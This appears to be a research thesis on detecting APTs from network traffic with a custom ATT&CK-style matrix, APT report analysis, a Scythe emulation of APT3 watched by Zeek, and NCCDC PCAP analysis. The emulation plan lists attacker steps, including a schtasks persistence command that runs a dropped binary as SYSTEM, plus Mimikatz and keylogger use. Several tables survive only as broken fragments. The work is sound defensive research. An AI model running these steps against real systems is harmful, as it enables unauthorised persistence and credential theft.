Adversary emulation criteria 
● Paid or and open-source platform 
○ If open-source, the project must be maintained 
■ Commit to master within the last 6 months 
● Platform MUST map techniques to the MITRE ATT&CK matrix [39] [74] [127] [129] [131] [150] 
● Extensible framework [150] 
○ 0 - No set of techniques 
○ 1 - Limited set of modules that can not be added to or modified 
○ 2 - Extensible framework that can be added to or modified 
● Capable of performing full chain attacks [60] [150] 
○ 0 - Can only perform one technique at a time 
○ 1 - Can perform a full-chain attack 
● Can perform phases of the Mandiant attack lifecycle [129] [131] 
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○ Can perform attacker behavior such as external reconnaissance [60] [62] [74] [129] 
[131] [150] 
■ 0 - Does not have the ability to perform external reconnaissance on a 
target 
■ 1 - Has the ability to perform external reconnaissance on a target 
■ 2 - Has the ability to perform external reconnaissance on a target and 
suggest targeted attacks 
○ Can generate attack specific payloads(weaponization) [60] [127] [131] [150] 
■ 0 - Can not generate attack specific payloads 
■ 1 - Limited set of attack specific modules 
■ 2 - Provides an adequate amount of attack specific modules 
○ Can perform attacker behavior such as initial compromise [60] [61] [74] [127] [129] [131] 
[150] 
■ 0 - Can not perform an initial compromise 
■ 1 - Limited set of initial compromise modules 
■ 2 - Provides an adequate amount of initial compromise modules 
○ Can place attacker behavior such as persistence (maintain presence/establish 
foothold) [131] [150] 
■ 0 - Can not place persistence 
■ 1 - Limited set of persistence modules 
■ 2 - Provides an adequate amount of persistence modules 
○ Can perform attacker behavior such as escalate privileges [60] [61] [129] [131]  
■ 0 - Does not have the ability to perform escalate privileges on a host 
■ 1 - Has the ability to perform internal reconnaissance on a network 
■ 2 - Has the ability to suggest different methods to escalate privileges on a 
host  
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■ 3 - Has the ability to perform escalate privileges on a host and suggest 
○ Can perform attacker behavior such as internal reconnaissance [60] [74] [131] [150] 
■ 0 - Does not have the ability to perform internal reconnaissance on a 
network 
■ 1 - Has the ability to perform internal reconnaissance on a network 
■ 2 - Has the ability to perform internal reconnaissance on a target and 
suggest targeted attacks 
■ 3 - Has the ability to perform internal reconnaissance on a target and 
suggest targeted attacks 
○ Can perform attacker behavior such as lateral movement [39] [60] [74] [129] [131] [150] 
■ 0 - Can not perform lateral movement 
■ 1 - Limited in modules to perform lateral movement 
■ 2 - Provides an adequate amount of modules to perform lateral 
movement 
○ Can perform attacker behavior such as action on objectives(Exfil) [60] [129] [150] 
■ 0 - Can not perform action on objectives 
■ 1 - Limited in modules to perform action on objectives 
■ 2 - Provides an adequate amount of modules to perform action on 
objectives 
● An abundance of post-exploitation modules [60] [150] 
○ 0 - Can not perform post-exploitation 
○ 1 - Limited set of post-exploitation modules 
○ 2 - Provides an adequate amount of post-exploitation modules 
● Multiple command and control (C2) channels modules [74] [130] [131] [150] 
○ 0 - A single command and control channel 
○ 1 - Limited set of command and control channels 
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○ 2 - Adequate amount of command and control channels 
● Reporting and logging [60] [130] 
○ 0 - No mechanism for reporting 
○ 1 - Reports on actions taken 
○ 2 - Reports on actions taken with a timeline of events 
○ 3 - Reports on actions taken with a timeline of events and forensic artifacts 
● Can bypass security controls [39] [60] [61] [131] 
○ 0 - Can no bypass security controls 
○ 1 - Limited set of bypass modules 
○ 2 - Provides an adequate amount of bypass modules 
● Can change signatures to thwart signature creation/detection [39] [60] [61] 
○ 0 - Can not signature to thwart signature creation 
○ 1 - Limited to what signatures can be changed to thwart signature creation 
○ 2 - All aspects of the campaign can be changed to thwart signature creation 
Adversary emulation platform comparison 
As stated above, our research discovered multiple platforms that could have been used to 
perform adversary emulation. Our final choice, was Scythe because it produced the highest 
score based on the criteria below. The table below has adversary emulation platforms across 
the top and the criteria to evaluate each platform down the left. Each criterion has its own scale 
and the goal of this table is to show the best platform based on a score. 
 





Team Scythe FlightSim 
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Extensible 




attacks 1 0 1 0 
External 
reconnaissan




payloads 0 0 2 0 
Initial 
compromise 1 1 1 0 
Persistence 1 1 3 0 
Escalate 
privileges 1 1 2 0 
Internal 
reconnaissan
ce 1 1 2 0 
Lateral 
movement 1 1 2 0 
Post-
exploitation 






modules 0 1 2 1 
Reporting 












ction 0 0 
3 0 
Total 1/4 9/32 25/32 3/32 
 
MITRE ATT&CK matrix as an open system 
The definition of a system theory is “any set of distinct parts that interact to form a complex 
whole.'' [75]. The MITRE ATT&CK matrix is a system that is a collection of distinct parts and 
these distinct parts are the TTPs of APTs. Our matrix is a deviation of a known system but with 
a network focus. Furthermore, our system is an open system with a feedback loop [75].  
 
Our model is an open system because it relies on a set of inputs to derive the output: our matrix. 
The known intelligence of adversary behavior on a network is the input. The classification of that 
intelligence is the creation of TTPs and they are placed on our matrix. In a future section 
(Process and method: Building the foundational matrix), we discuss how we reviewed APT 
reports to create a list of known TTPs.  
 
Once we had a collection of TTPs we were able to assign categories to groupings of 
techniques, we call these groupings tactics. The specific tool or command used to accomplish 
this technique is known as the procedure. However, as time continues, new TTPs will be 
discovered which creates a feedback loop. 
 
Our model is also a feedback loop because the absence of a new TTP can be a source of input. 
A feedback loop can be positive or negative. One way we can accomplish a positive feedback 
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loop is by having the community submit feedback via a survey on the model. This feedback 
allows us to validate the model in its current state and shows that the items on the matrix are 
useable. However, as APTs evolve over time, new TTPs will be created.  
 
The evolution of attacks is the negative feedback loop portion. These new TTPs will result in our 
model missing a desired output or absence of a TTP. Therefore, a new TTP can be added to 
our matrix to account for the newly discovered adversary behavior. The constant evaluation of 
feedback allows us to improve and track the success and failure of our model. It should be 
noted that failure is not necessarily a bad thing, it just means a lack of potential visibility on a 
TTP. Our model is a framework which means if the model is missing something it can be added 
to accommodate the needs of the consumer. 
Our MITRE ATT&CK matrix - our origin story 
In the Summer of 2018, one of the researchers was employed as an incident responder. One of 
their goals was to create a process and methodology for threat hunting on the network. The 
researcher consulted the MITRE ATT&CK matrix to obtain guidance on how to hunt on the 
network. Specifically guidance on how to generate hypotheses for hunts, data sources to use for 
hunting, and what type of activity to focus on based on the environment.  
 
When they arrived at the MITRE ATT&CK website, they noticed the current matrix landscape 
was focused on endpoint behavior. While some techniques from the original matrix leave 
artifacts on the network, the current state wasn’t a practical model. It was at that moment, the 
genesis of this thesis was born.   
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Process and method 
Preface 
This section includes details pertaining to the process and method used for building the 
foundational matrix and each experiment to validate our matrix and its ability to detect an APT 
on the network. First, we started by building our foundational matrix which will be used as the 
template for all our heat maps in all experiments moving forward. The goal of these heat maps 
in each experiment is to measure the efficacy of our matrix to detect an APT on the network and 
to measure the validity of a technique on our matrix. At the highest level, our three experiments 
analyzed APT reports, performed adversary emulation, and PCAP analysis.  
 
The first experiment includes a diverse set of APT reports to be used for test cases to show the 
efficacy of the matrix against known seasoned APT groups. The reason we choose APT report 
was because they show the efficacy of our matrix with publicly released threat intelligence about 
particular APT groups. Lastly, the APT reports are a form of open-source threat intelligence that 
allows our experiment to be reproduced  
 
The second experiment will emulate a known APT with the Scythe adversary emulation platform 
[58] in a controlled environment. This adversary emulation platform starts by gaining an initial 
compromise within a network. Once initial compromise has been completed, it follows a set of 
instructions to pivot around the network and exfiltrate data. This adversary emulation platform 
allowed the researchers to detonate an APT style network attack in a controlled environment. 
The controlled environment allowed the researchers to dial in on specific network flows of traffic 
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and to create detections with Zeek. This experiment was important because it demonstrated 
Zeek could be used to detect APT behavior on a network.  
 
The third experiment uses a semi-publicly available dataset from the 2017 National Collegiate 
Cyber Defense Competition (NCCDC) [163], which can be obtained from the ImpactCyberTrust 
organization. NCCDC is a red (attackers) vs. blue (defenders) event where students at the 
collegiate level defend an enterprise network from the red team. The red team is comprised of 
industry-level pen testers and red teamers. This competition takes place over a weekend and 
the purpose is for the red team to simulate an advanced attacker like an APT for the students to 
respond too.  
Building the foundational matrix 
Preface 
The process we used to create our MITRE ATT&CK style-like matrix with a focus on network-
based techniques, followed a similar approach to MITRE’s described above (Background: 
MITRE ATT&CK matrix). First, we needed an attacker model to describe the actions of 
attackers within an environment from a network perspective. As discussed earlier, we 
discovered the Bryant Kill Chain [42] (Background: Adversary models - Bryant Kill Chain) which is 
our attacker model and was used to generate our initial column headings (attack themes). 
 
As a result, the Bryant Kill Chain provided us with keywords to search for in APT reports to start 
filling in the columns with techniques. Next, we used APT report repositories [12] [13] [14] as our 
threat intelligence to generate a list of techniques known to be used by APTs. This created the 
bedrock for our matrix moving forward, which will be referred to as the “foundational matrix”.  
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This foundational matrix is our bedrock matrix that will be used as the template for all our 
heatmaps moving forward. The goal of these heat maps is to measure the efficacy of our matrix 
to detect an APT on the network and to measure the validity of a technique on our matrix. 
However, if by the end of our experiments a technique does not have an adequate rating on our 
scale, we will discuss removing it. 
Attack themes 
Our matrix has column headings like the original MITRE ATT&CK matrix, which represents 
phases of an APT from a network perspective, referred to as attack themes. As we have 
discussed several times already, the Bryant Kill Chain was our starting point for attack themes 
(column headings). In addition, attack themes discovered during our literature review were 
added to our matrix to represent a collection of techniques not included in the Bryant Kill Chain.  
 
For instance, the attack theme “evasion” represents a collection of techniques APT groups may 
use to evade detection. This attack theme may not be a necessary phase of an attack but it’s 
still a behavior that an APT may perform on the network. Below is a list of the attack themes 
from the Bryant Kill Chain and themes that emerged from the literature review. 
Bryant Kill Chain attack themes 
● Recon and weaponization 
● Lateral movement 
● Initial compromise 
● Delivery 
● Actions on objective 
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Literature review attack themes 




● Command and control 
Aggregating techniques 
Validating our APT source 
Our foundational matrix is composed of techniques that were discovered during the literature 
review of APT reports meaning this matrix represents techniques used by APTs; therefore, only 
techniques referenced by APT reports exist on the foundational matrix. 
 
The researchers acknowledge that our source for APT reports is not an academically verified 
source. However, academia does not have the same volume of threat intelligence pertaining to 
APT reports when compared to the infosec community with publicly released reports. At the 
time of this writing, there were 0 academic papers on “APT 28” or “Advanced Persistent Threat 
28” that included technical details of the APT’s behaviors via a Google Scholar search. 
However, a Google Search returned 11 reports [8] [112] [113] [114] [117] [138] [139] [140] [141] [142] [143] pertaining 
to APT 28 with technical details. Furthermore, the following academic papers on APTs [8] [100] [144] 
[145] use publically unvetted sources as references. The APT report repositories used by our 
research is a collection of APT reports being used in academic papers and publicly released 
APT research  
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The researchers would like to note that academia has a plethora of papers regarding how to 
defend against APTs [146] [147] [148] [149] [154]. However, our research requires threat intelligence that 
is specifically targeted at individual APT groups and contains adversary behavior.   
Reviewing APT reports 
As stated above, the phases of the Bryant Kill Chain provided a perfect list of keywords to 
search for in PDFs but reading 1,979 reports (2 gigabytes, at the time of this writing) was 
unfeasible, in a reasonable amount of time. To help the researchers focus on specific reports 
containing criteria that pertained to the research, a Python script was created (Contributions: 
Python PDF keyword extractor). This Python script takes a list of keywords and a directory of 
PDFs as input and will scan all the PDFs in the directory for the existence of keywords.  
 
This solution allowed the computers to do the mundane process of looking for content and 
allowing the human to extract context. For example, if the keywords “command and control” or 
“C2” were detected in a PDF, it would be recorded to a text file for later review by a human, like 
in the figure below (Figure 8: PDFs that contain command and control). Once the list of PDFs 
that contained the phases of the Bryant Kill Chain was compiled, this allowed the researchers to 
target specific PDF reports.  
 
  




Next, the researcher would open the PDF, search for the keyword, and read the literature 
pertaining to the keyword to obtain context. The context may reveal a new technique or a pre-
existing known technique on the matrix. For example, the keyword “command and control” 
would be detected but the report would specify techniques such as HTTP or DNS tunneling in 
detail. In the event of a new technique, it was added to our matrix (Contributions: Jekyll - Adding 
a new technique) and added to our master keyword list (Appendix: PDF master keyword list).  
 
Each technique added to the matrix is backed up by a set of APT groups and APT reports 
referencing the operation of that technique. For example, “HTTP” under the “Command and 
control” column has a list of each APT group that used that technique and the APT report 
referencing it. For example, the figure below (Figure 9: Our matrix HTTP technique) shows that 
HTTP was used by the APT group “Energetic Bear” and the APT report backing up this claim is 








The master keyword list was used to scan all of the APT reports again. This time we had a 
collection of APT reports that referenced specific techniques. As stated above, the researcher 
would open the PDF, search for the keyword and read the literature pertaining to the keyword to 
obtain context. This process was repeated to construct our foundational matrix of techniques 
used by APTs that was referenced in the literature.  
 
In addition to new techniques being discovered, new attack themes were also identified. New 
attack themes were discovered by reading additional context about techniques or through 
literature review. Using our HTTP example above, if a report was discussing the use of HTTPS 
as a command and control technique, there was typically additional context about the 
encryption. The researchers do not classify HTTPS as a new command and control technique 
because it is HTTP with encryption. However, the use of encryption to evade detection of 
network security controls is a technique. The use of encryption warranted its own technique but 
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a column did not exist. Therefore, the researchers created a new attack theme named “evasion” 
for techniques like encryption, encoding, and compression. This new attack theme was added to 
our matrix (Contributions: Jekyll - Adding a new theme). 
 
Initially, a new column would be created but more than one technique was needed to validate 
this new attack column. Therefore, each APT report that referenced a technique validates a 
technique being used by an APT and more than one technique in a column validates that attack 
theme. All of this forms our matrix in its current form and will serve as the foundation moving 
forward.  
Foundational matrix 
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Matrix heatmap - APT reports 
In this section, we introduce the idea of our foundational matrix being used to create a heatmap. 
The researchers acknowledge that the reports contain threat intelligence pertaining to 
techniques used by APTs but that intelligence needs to be validated. Our research will conduct 
several experiments to validate all the techniques on the matrix.  
 
Our first heatmap (Figure 11: APT report heatmap) is validating the number of APT reports that 
reference a particular technique being used. This heatmap is not an experiment but it is trying to 
convey the validity of each technique based on the number APT reports referencing that 
technique. First is the key (Table 3: APT report heatmap key), which provides context to the 
color grading scheme that was used for the heatmap.  
 
Each color is followed by what each color represents. For example, green represents 5 or more 
APT reports referencing that technique. Following what each color represents, is the number of 
times the color appears on the heatmap. For example, green occurs 27 times on our heatmap 
(Figure 11: APT report heatmap), which means 27 techniques have 5 or more APT reports 
referencing that technique. Lastly, there is a percentage column that typically represents a 
percentage of the count of a color over the total count. For example, green has 27 techniques 
out of 43 total techniques on the matrix, which equates to 62.79%. 
 
As stated previously, a technique on our matrix exists because at least one report references 
that technique being used by an APT. Each experiment performed will conclude with a heatmap 
for that particular experiment. A final heatmap will be generated based on all the heatmaps from 
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all the experiments. This final heatmap will serve as a discussion point as to whether a 
technique should or should not exist on our final matrix. 
 
Table 3: APT report heatmap key 
Key How many sources Count Percentage 
Red 1 source 3 6.98% 
Yellow 2 - 4 sources 13 30.23% 
Green 5+ sources 27 62.79% 
  43 100.00% 
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Experiment 1 - APT reports 
Preface 
For experiment one we used four different test cases and each test case focused on a specific 
threat actor (APT group). For each test case, the researchers gathered the necessary public 
reports about each threat actor. Next, we read each APT report and as we read the report we 
would take note of techniques used by attackers that could be observed from a network 
perspective. Once we compiled a list of network-based techniques for a particular threat actor, 
we would create a heatmap. This heatmap shows the efficacy of our matrix to detect this 
particular threat actor. 
Criteria for choosing threat actors 
This experiment included four test cases and each test case was a different threat actor. For 
this experiment we used the following threat actors: APT3, Lazarus group, Iranian cyber 
espionage group, and APT28. Each test case provides a different perspective on their 
motivation, techniques, and capabilities as an APT.  
 
Our first test case, was the analysis of APT3. APT3 was chosen strictly because it is a well 
known APT group and it’s the APT we are emulating for experiment two. Also, MITRE created a 
document which has been discussed several times throughout this paper on how to properly 
emulate APT3 [79]. By choosing this APT, it allowed us to analyze APT3 from a threat 
intelligence perspective. Therefore, we could ensure our adversary emulation platform was 
emulating APT3 accurately.  
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Our second test case, was the analysis of the Lazarus group. This threat actor was chosen out 
of complete randomness from an academic perspective. Now it may seem that choosing an 
APT out of randomness is not academically sound. However, we argue that you are never in 
control of why a particular APT may target you. Therefore we wanted to analyze a random APT 
group to demonstrate the efficacy of our matrix vs. a random APT. Furthermore, APTs seem to 
target organizations across multiple industries and continents. The reason for being targeted 
may be a financial motivation, may be because you’re a trusted third party of the primary target 
or may be to use your organization as a pivot for C2 communication. For these reasons, your 
organization needs to ensure their security controls are implemented to detect all APTs, 
regardless of motivation. 
 
Our third test case, was the analysis of the Iranian espionage group. This test case was 
particularly interesting because this group is associated with multiple APT groups which are 
APT 33, APT 34, APT 35, APT 39, and APT 41 [101]. Reading the reports for this particular group 
was difficult because some reports combined APT 33 and 34 as APT 33. Others considered all 
the APTs as one. The one thing that was true across all reports was the threat actor was an 
Iranian threat actor. This test case showed how the group evolved over time and how the 
detection to detect this group had to evolve. However, there are some techniques used by this 
threat actor that stayed static throughout all the campaigns. This is extremely important to note 
because the detection of these static techniques could have been used cv to detect this threat 
actor over time. Lastly, some of the reports used for this test case are academically verified 
papers.  
 
Our fourth test case, was the analysis of APT28. As stated above, the 2016 United States (US) 
election was the first time in U.S. history that the power of the internet was used to force a 
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desired outcome on an election in a democratic nation. As time evolved, multiple reports 
including academic reports [25] [26] [27], public reports [28] [29], the Mueller report [30], and news 
articles [32] [33] [34] have been released pertaining to Russia’s capabilities during the 2016 election. 
These capabilities include, but are not limited to, the capability to infiltrate our social media to 
change the way we perceive information and our democratic system, and the capability to 
perform cybersecurity espionage. 
Test case reporting model 
Each test case followed the MITRE ATT&CK model for recording a summary of an APT group 
[85] [158]. This model starts with a description of the threat actor, known aliases of the group, 
techniques used (which are typically mapped to MITRE ATT&CK techniques), known 
tools/malware used by the threat actor, and references.  
Calculating efficacy of matrix vs. threat actor 
For each test case, we read APT reports about a particular threat actor, extracted network 
techniques, and mapped them on our matrix to create a heatmap. Creating a heatmap for each 
test case allowed us to calculate the efficacy of our matrix vs. a known threat actor.  
 
For each individual test case, we kept a count of all techniques used by a threat actor that 
existed on our matrix and a count of all techniques that a threat actor used that our matrix didn't 
have (failure to detect an APT). The efficacy of our matrix was calculated with the equation 
below (Equation 1: efficacy of matrix vs. threat actor equation). 
 
Equation 1: efficacy of matrix vs. threat actor equation 
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Our equation is going to use a ratio in a percentage format to show the efficacy of our matrix. 
The calculated ratio will show the techniques used by a particular APT group that existed on our 
matrix over the total network techniques used by this APT group. This cybersecurity whitepaper 
on quantifying security demonstrates the use of a ratio to measure the relationship between two 
similar things [269]. In our case, the similar things being measured are the techniques that exist 
on our matrix being used by an APT group over the amount of network techniques used by the 
APT group. This ratio will show the efficacy of our matrix to detect a particular threat actor. 
 
● M = List of techniques on our matrix used by APT group 
● T = List of total network techniques used by APT group 
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Calculating efficacy of matrix vs. all threat actors 
This equation uses the same premise as equation 1 (Equation 1: efficacy of matrix vs. threat 
actor equation) but with all the threat actors. 
 
Equation 2: efficacy of matrix vs. all threat actors equation 
● Wm = Prevalence of a technique from all threat actors 
● Wt = Total techniques used by all threat actors 
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Experiment 2 - Adversary  simulation 
Who are we emulating and why? 
Our adversary emulation experiment will be emulating APT3 [79] [85]. You might be asking, out of 
all the APTs groups, why this one? APT3 was a very foundational APT and this APT is included 
in several adversary emulation platforms [58] [235] [236] [237]. In addition to being supported by 
various adversary emulation platforms, MITRE released a paper on how to engineer an 
adversary emulation platform for APT3 [79]. This type of supporting documentation made it easier 
for us to ensure our adversary emulation platform was simulating this APT correctly. Lastly, we 
reviewed APT3 below (Experiment 1: Test case 1 - APT3) so we know the techniques used by 
APT3.  
 
We can use the case study (Experiment 1: Test case 1 - APT3) below to guide our experiment 
here. In addition, it allows us to compare all the known network techniques vs. the techniques 
detected by Zeek for our analysis. However, first we need to follow the adversary emulation 
process created by MITRE [39]: 
1. Gather threat intelligence about a threat actor 
2. Extract techniques used by a threat actor 
3. Analyze and organize 
4. Develop tools 
5. Emulate the adversary 
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Adversary emulation process 
Gather threat intelligence   
● Experiment 1: Test case 1 - APT3 contains a collection of network based techniques 
○ Clearly illustrates that APT3 put a majority of their focus and time into Windows 
environments 
○ Customized Windows tools: OSInfo, customized pwndump, customized 
mimikatz, RemoteCMD, and Scanbox 
● APT3 Adversary Emulation Plan [79] contains intelligence on malware/tools and host 
based techniques. 
● All the reports in the reference section of Experiment 1: Test case 1 - APT3 [79] [80] [81] [82] 
[83] [84] [85] 
Extract techniques 
● Host-based techniques can be found Appendix: APT 3 techniques - Host-based 
techniques 
● Network-based techniques can be found Appendix: APT 3 techniques - Network-based 
techniques 
Analyze and organize 
Since APT3 is known for targeting Windows environments and has a history of stealing 
intellectual property, we will construct a campaign to do this. The Scythe platform provides the 
ability to build our own adversary emulation campaign. Below is a high level overview of the 
adversary emulation plan created by MITRE [79]. The exact instructions to run this campaign can 
be found in the appendix (Appendix: Scythe APT3 campaign config). 
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MITRE adversary emulation plan: 
1. Phase 1 - Initial compromise 
a. Implant command and control 
i. Created an HTTP listener with encryption [79] 
b. Defense evasion 
i. Scythe generates a unique binary that will not be known to hash 
signatures by AV platforms. 
c. Initial access 
i. A malicious binary was generated by Scythe to act as a malicious 
attachment. 
ii. Pull down a file named “test.exe” [79] 
iii. Run command “cmd.exe /C whoami” [79] 
iv. Run command ‘schtasks /create /tn “mysc” /tr C:\Users\Public\test.exe /sc 
ONLOGIN /run “system” [79] 
2. Phase 2 - Network propagation 
a. Host operations 
i. Discovery 
1. Query domain for administrators [79] 
2. Get users of groups [79] 
3. Get system configurations [79] 
4. Get current system’s network connections [79] 
ii. Local privilege escalation 
1. Scythe implant is running as administrator for simplicity 
iii. Persistence 
1. Creating service [79] 
2. Scheduled task [79] 
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a. Created scheduled task above 
iv. Credential access 
1. Mimikatz [79] 
2. Install keylogger [79] 
b. Lateral movement 
i. Run command “net view” [79] 
ii. List TCP connections [79] 
iii. Retrieve connected users [79] 
iv. List domain controllers [79] 
v. Net use/Remote copy and execution [79] 
3. Phase 3 - exfiltration 
a. Look for documents in user’s home directory 
b. Exfil documents via HTTPS [79] 
Develop tools 
The Scythe platform allowed us to perform this entire campaign on it’s platform. Therefore there 
was no need to obtain/engineer additional tools for this campaign. 
Emulate the adversary 
We start by manually denoting the malicious binary on the Windows client “jupiter”. This is to 
simulate the user receiving a malicious attachment via e-mail and opening it. 
Network setup 
Our test network (Figure 12: Network diagram for adversary emulation) consists of two Windows 
10 clients connected to a Windows 2016 domain controller. The network traffic of this network is 
being monitored by Zeek. This network design came from an RSA conference talk on adversary 
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emulation [60].  The APT3 group has been active since 2015 [85] and Windows 10 had already 
been released prior. APT3’s malware and tools were heavily customized for Windows based 
environments [79]. For more information on the Windows domain and Zeek setup, please refer to 





Figure 12: Network diagram for adversary emulation 
 
Data collection 
Zeek will be used to monitor the entire network via a SPAN port on Proxmox. Zeek will monitor 
the SPAN port to produce Zeek logs. The Zeek logs will be made publicly available 
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(Contributions: Public datasets). For more information on how Zeek was setup, please go to the 
appendix (Appendix: Network setup - Zeek and pf_ring). Lastly, these Zeek logs will be ingested 
by Splunk to perform analysis. 
Calculating efficacy of matrix vs. APT3 adversary emulation 
This experiment was taking the APT3 reports and being proactive on the threat intelligence in 
the reports. This experiment demonstrates emulating an APT on a network and having the 
capability to detect that behavior with Zeek. This equation uses the same premise as equation 1 
(Equation 1: efficacy of matrix vs. threat actor equation) 
 
Equation 3: Efficacy of our matrix vs. APT3 adversary emulation  
M = Network techniques used by the adversary emulation that were detected 
T = All the network techniques used by the adversary emulation  
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Experiment 3 - 2017 NCCDC PCAP dataset 
What is NCCDC? 
The National Collegiate Cyber Defense Competition (NCCDC) is the largest cyber defense 
competition at the collegiate level [197]. The main premise of the competition is a blue team (team 
of students - defenders) protecting an enterprise network from the red team (group of 
professional pen testers and red teamers from industry - attackers). In addition to students 
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protecting their network from the red team, they are scored on service up time, injects, and 
responding to incidents [197].  
 
Each network will have an array of services that serve a business function such as Active 
Directory or a website. Injects are business tasks the students must complete during the 
competition, which may include setting up a Syslog server, creating additional users, or setting 
up additional services. On top of operating and protecting an enterprise network, the students 
must respond to incidents by identifying security flaws and remediating flaws to reinstate 
business operations. 
Why we choose this dataset? 
The 2017 NCCDC PCAP dataset is special because it provides the following benefits: a dataset 
containing APT behaviour, enterprise network, and adversary behaviour that was unknown 
before analysis. These benefits allowed us to validate our matrix against an APT within an 
enterprise environment. 
 
The one aspect that makes NCCDC unique is that the red team is composed of the worlds 
finest professional red teamers and pen testers in one room [198]. Instead of the competition 
being a free for all, red teamers are assigned a team. This assignment drastically changes the 
nature of the game. This means for an entire weekend each blue team has 2-3 red teamers 
assigned to their team that will simulate an advanced attacker. The red team will learn their blue 
team’s habits, skills, strengths, weaknesses, and will learn the network they are trying to defend 
better than them. This type of targeted attack simulates a targeted attack like an APT. 
 
Alex Levinson a NCCDC red teamer provides the best explanation of the APT behaviour within 
this data “I’ve done red teaming for two major technology companies, as well as worked at 
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Lares, one of the world’s most renowned red teams. Every year, I’ve been able to transpose my 
experience red teaming CCDC with my experience in the real world. Not only is CCDC 
absolutely real world from an attacker perspective, in fact, I’d argue that most professional red 
teamers are actually less realistic than the CCDC red team!” [162].  Alex goes on to provide a 
table to explain [162]: 
 














YES YES YES NO 
Compromise 
collateral targets 




YES YES YES NO 
Steal large 
volumes of data 
– not just a 
record or two for 
“confirmation”. 




destroy data in a 
material way. 
YES YES YES NO 
Required to 
follow all laws, 





conform to a set 
amount of effort 
and time. 
NO NO NO YES 
 
Every blue team is assigned an identical enterprise network to defend against the red team. 
Each team is competing to protect their enterprise network from the red team, the APT actor in 
this experiment. The 2017 NCCDC enterprise network (Figure 25: 2017 NCCDC network 
diagram) consisted of multiple platforms and services such as:  
● Windows (Windows Server 2003 - Windows 10) 
● Unix/Linux (Debian, Solaris, FreeBSD, Ubuntu) 
● VMware ESXi 
● Web + database 
● Secure Shell (SSH) 
● Mail (POP and IMAP)  
● Domain Name System (DNS)  
● Active Directory  (AD) 
● Dynamic Configuration Protocol (DHCP) 
● Remote Desktop Protocol (RDP) 
● Point of sale (POS) systems.  
 
The asset table (Table 15: 2017 NCCDC asset table) below provides a more detailed list of 
assets for each team (10 teams total) for the 2017 NCCDC event.  
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The key difference between this experiment’s dataset and experiment two’s (Experiments and 
results: Experiment 2: Adversary simulation) dataset is we knew the techniques the attacker 
was going to use. With this dataset we were unaware of the techniques being used by the 
attackers prior to analysis. Lastly, the combination of malicious behavior and benign behaviour 
make this a perfect dataset to analyze the behaviour of an APT on an enterprise network. 
Convert NCCDC PCAPs to Zeek logs 
We used Zeek (formerly known as BRO) to convert the 2017 NCCDC PCAP dataset to Zeek 
logs. That way the data is in a more manageable state for Splunk. The Zeek setup for this 
experiment can be found in the appendix (Appendix: Network setup for experiments 2 and 3). 
Once the Zeek logs were ingested by Splunk, we could search the logs and perform analytics 
on the dataset. The appendix (Appendix: NCCDC 2017 PCAP to Zeek logs bash script) 
contains a Linux BASH script to download the PCAPs and convert them to Zeek logs. Our Zeek 
setup converted ~ 2 TBs of PCAPs into 
● ~ 250GBs of JSON logs - 8:1 ratio  
○ 25GBs zipped up - 80:1 ratio 
● ~ 200GBs of CSV logs - 10:1 ratio 
○ 22GBs zipped up - 100:1 ratio 
● ~ 31.2GBs of extracted files - 64:1 ratio 
○ 8 GBs zipped up 
Methodology for detecting the adversary 
As stated during the “Using Bro to Hunt Persistent Threats by Benjamin Klimkowski” Youtube 
video “ideally we want to develop artifacts and techniques in the network traffic that the attacker 
has a hard time to manipulate to evade detection” [164]. If you look at the figure below (Figure 13: 
70 
Pyramid of pain), we want to detect TTPs, Tools, and Network Artifacts because those are 
challenging for the attacker to change. Zeek provides the capability to create scripts to detect 
the different categories on the Pyramid of Pain [199]. As we analyze the Zeek logs with Splunk 
our goal is to identify malicious behaviour by detecting network artifacts, tools, and TTPs being 
used by the attacker. 
 
Figure 13: Pyramid of pain 
 
● Bianco, D. J. (2017). Retrieved from http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html 
 
The focus of this paper was not to create detections for each technique on our matrix since 
Network security monitoring (NSM) is dependent on each network and will differ based on the 
implementation of services and platforms. Our research leveraged Zeek scripts created by the 
infosec community to detect malicious behavior. More information can be found in the appendix 
(Appendix: Zeek  scripts  vs. our matrix techniques). First, we needed to start by understanding 
our network and how endpoints should be communicating. The NCCDC network diagrams 
(Figure 25: 2017 NCCDC network diagram, Table 15: 2017 NCCDC asset table) allowed us to 
select Zeeks scripts that would provide insight to services and platforms on the network. 
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Our methodology for detecting malicious activity leveraged the knowledge of blog posts, public 
threat intelligence, APT reports, and academic papers. After a literature review, detections were 
translated into Splunk queries to be run against the Zeek logs. We would like the reader to note 
the following: we are treating the NCCDC red team as an APT. Therefore all actions performed 
by the NCCDC red team are actions an APT would perform.  
 
Furthermore, if we detect an attempt to use a technique but the technique was unsuccessful, it 
still counts as a technique that an APT would use. For example, the Splunk query table (Table 
12: Splunk queries for NCCDC 2017 PCAP dataset) in experiment 3 demonstrates the detection 
of SQLmap being used by the red team. From the logs we can determine that the attack was 
unsuccessful but that activity validates the SQL injection technique being used for initial 
compromise. 
 
Lastly, this experiment also takes a slightly different approach than all the other experiments 
preceding it. The former experiments were validating each technique on the matrix and the 
efficacy of the matrix to detect an APT on the network. This experiment will focus solely on 
validating each technique on the matrix and all the new techniques discovered in the previous 
experiments.   
Calculating efficacy of our matrix vs. NCCDC red team 
As stated above this experiment takes a different approach for validating a technique on the 
matrix. This experiment evaluated every technique in our matrix to determine if that technique 
was used by the red team. This equation uses the same premise as equation 1 (Equation 1: 
efficacy of matrix vs. threat actor equation) 
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Equation 4: calculating efficacy of our matrix vs. NCCDC red team 
M = Techniques used by the NCCDC red team on our matrix 
T = Total count of techniques from our matrix 
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Experiments and results 
Preface 
This section includes details pertaining to the individual experiments used to validate our matrix 
and the ability to detect an APT on the network. At the highest level, our three experiments will 
analyze APT reports, perform adversary emulation, and PCAP analysis. Each of these 
experiments will show the efficacy of our matrix to detect an Advanced Persistent Threat (APT) 
on the network and validate the techniques on the matrix. Lastly, the creation of our matrix will 
serve as a synopsis for our work and a framework that can be contributed to by the Infosec 
community. 
Experiment 1: APT reports 
Test case 1: APT 3 
Description 
MITRE’s report states “APT3 is a China-based threat group. APT3 has traditionally targeted a 
myriad of US and international targets; however, reporting dated September 2016 indicates the 
group shifted focus around March 2016 to target Hong Kong organizations.” The report also 
states the threat actors were “interested in exfiltration of documents. They have been known to 
target printers and file shares. They also target intellectual property, often industrial in nature” 
Aliases 
● APT 3 [79] [82] [83] [84] [85] 
● Gothic Panda [79] [83] [84] [85] 
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● Pirpi [79] [83] [85] 
● Buckeye [79] [83] [85] 
● TG-0110 [79] [83] [84] [85] 
● UPS Team [79] [83] [84] [85] 
● Group 6  [83] 
